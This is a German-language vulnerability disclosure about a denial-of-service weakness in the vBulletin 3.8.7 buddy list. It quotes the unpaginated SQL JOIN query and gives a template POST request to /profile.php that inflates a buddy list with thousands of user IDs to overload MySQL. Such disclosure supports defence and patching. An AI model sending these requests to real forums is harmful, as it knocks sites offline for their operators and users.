
Dokumentation einer Denial-of-Service-Schwachstelle in der vBulletin 3.8.7 Freundesliste.
Der Endpunkt /misc.php?do=buddylist führt eine einzelne, große JOIN-Abfrage aus, die alle Buddys zusammen mit deren Benutzer- und Sitzungsinformationen abruft, um den Online-Status zu prüfen. Da diese Abfrage die gesamte Buddy-Liste ohne Paginierung oder Ergebnisbegrenzung verarbeitet, wird sie extrem ressourcenintensiv und kann die Datenbank überlasten, wenn die Liste groß wird.
Dieses Problem ist leicht auszunutzen und erfordert nur minimalen Aufwand. Es sind keine besonderen Berechtigungen erforderlich, lediglich ein einfaches Benutzerkonto. Es reicht aus, die Buddy-Liste aufzublähen, um die Datenbank ernsthaft zu belasten.
Diese SQL-Abfrage ruft Buddy-Details zusammen mit Sitzungsinformationen ab, um den Online-Status für jeden Buddy zu prüfen. Da sie die gesamte Buddy-Liste verarbeitet und für jeden Eintrag mit Sitzungsdaten verknüpft, wird die Abfrage sehr groß und ressourcenintensiv.
$buddys = $db->query_read_slave("
SELECT
user.username,
(user.options & " . $vbulletin->bf_misc_useroptions['invisible'] . ") AS invisible,
user.userid,
session.lastactivity
FROM " . TABLE_PREFIX . "userlist AS userlist
LEFT JOIN " . TABLE_PREFIX . "user AS user ON (user.userid = userlist.relationid)
LEFT JOIN " . TABLE_PREFIX . "session AS session ON (session.userid = user.userid)
WHERE userlist.userid = {$vbulletin->userinfo['userid']}
AND userlist.relationid = user.userid
AND type = 'buddy'
ORDER BY username ASC, session.lastactivity DESC
");
Freundeslisten können durch POST-Anfragen an /profile.php mit listbits befüllt werden. Dies kann für Tausende von Benutzer-IDs wiederholt werden, um die Buddy-Liste aufzublähen:
POST /profile.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
securitytoken=TOKEN
&ajax=1
&do=updatelist
&userlist=buddy
&listbits[buddy_original][USER_ID]=USER_ID
&listbits[buddy][USER_ID]=USER_ID
&listbits[friend][USER_ID]=USER_ID
&listbits[friend_original][USER_ID]=USER_ID
...
In großen Foren kann dies zu erheblichen Abfrageverzögerungen führen oder die MySQL-Instanz zum Absturz bringen.